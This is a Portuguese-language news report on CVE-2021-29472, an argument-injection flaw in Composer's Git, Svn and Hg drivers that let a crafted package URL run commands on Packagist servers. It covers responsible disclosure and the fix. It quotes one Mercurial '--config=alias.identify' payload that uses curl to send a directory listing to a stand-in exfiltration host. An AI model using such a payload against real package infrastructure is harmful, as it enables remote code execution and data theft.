Uma vulnerabilidade no gerenciador de pacotes Composer, que permite a compromissão do repositório PHP Packagist

Foi identificada uma vulnerabilidade crítica no gerenciador de dependências Composer (CVE-2021-29472), permitindo a execução de comandos arbitrários no sistema ao processar pacotes com um valor de URL formatado especificamente, que define um endereço para a transferência de código-fonte. O problema se manifesta nos componentes GitDriver, SvnDriver e HgDriver, utilizados ao empregar sistemas de controle de versão como Git, Subversion e Mercurial. A vulnerabilidade foi corrigida nas versões 1.10.22 e 2.0.13 do Composer.

É importante destacar que o problema afetou principalmente o repositório de pacotes Packagist, utilizado por padrão no Composer, que contém 306 mil pacotes para desenvolvedores em PHP e que atende mensalmente mais de 1,4 bilhão de downloads. Em um experimento, foi demonstrado que, caso informações sobre a vulnerabilidade fossem conhecidas, atacantes poderiam assumir o controle da infraestrutura do Packagist e interceptar credenciais dos mantenedores ou redirecionar o download de pacotes para um servidor externo, fazendo a entrega de versões alteradas de pacotes para instalar um backdoor durante o processo de instalação de dependências.

O perigo para os usuários finais é mitigado pelo fato de que o conteúdo do composer.json é geralmente definido pelo próprio usuário, e os links para o código-fonte são fornecidos ao fazer solicitações a repositórios externos, que normalmente são confiáveis. O principal impacto ocorreu no repositório Packagist.org e no serviço Private Packagist, que chamam o Composer com a transmissão de dados fornecidos pelos usuários. Os invasores poderiam executar seu código nos servidores do Packagist ao publicar um pacote formatado especificamente.

A equipe do Packagist corrigiu a vulnerabilidade em 12 horas após ser notificada. Pesquisadores informaram, em particular, os desenvolvedores do Packagist no dia 22 de abril, e o problema foi solucionado no mesmo dia. A atualização pública do Composer, que corrigiu a vulnerabilidade, foi divulgada em 27 de abril, e os detalhes foram revelados em 28 de abril. A auditoria dos logs nos servidores do Packagist não revelou atividades suspeitas relacionadas à vulnerabilidade.

O problema foi causado por um erro no código de verificação de URL no arquivo raiz composer.json e nos links para download dos códigos-fonte. O erro está presente no código desde novembro de 2011. No Packagist, para a organização do download do código sem vinculação a um sistema de controle de versão específico, são utilizadas camadas especiais que são executadas através da chamada «fromShellCommandline», passando argumentos da linha de comando. Por exemplo, para o git, a comando «git ls-remote —heads $URL» é chamada, onde o URL é tratado pelo método «ProcessExecutor::escape($url)», que escapa construções potencialmente perigosas, como «$(…)» ou «`…`».

A essência do problema é que o método ProcessExecutor::escape não escapava a sequência «—«, o que permitia especificar qualquer parâmetro adicional no URL. Tal escapatória estava ausente nos drivers GitDriver.php, SvnDriver.php e HgDriver.php. A ataque através do GitDriver.php era dificultada pelo fato de que o comando «git ls-remote» não suportava a especificação de argumentos adicionais após o caminho. Uma possível ataque ao HgDriver.php consistia na passagem do parâmetro «—config» para a ferramenta «hq», permitindo a execução de qualquer comando através da manipulação da configuração «alias.identify». Por exemplo, para fazer o download e executar código através do launcher da ferramenta curl, poderia-se especificar: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Ao publicar um pacote de teste no Packagist com um URL semelhante, os pesquisadores confirmaram que, após a publicação em seu servidor, uma solicitação HTTP foi recebida de um dos servidores Packagist na AWS, contendo a listagem de arquivos no diretório atual.

Fonte: opennet.ru

Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS 🔥 Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS | ProHoster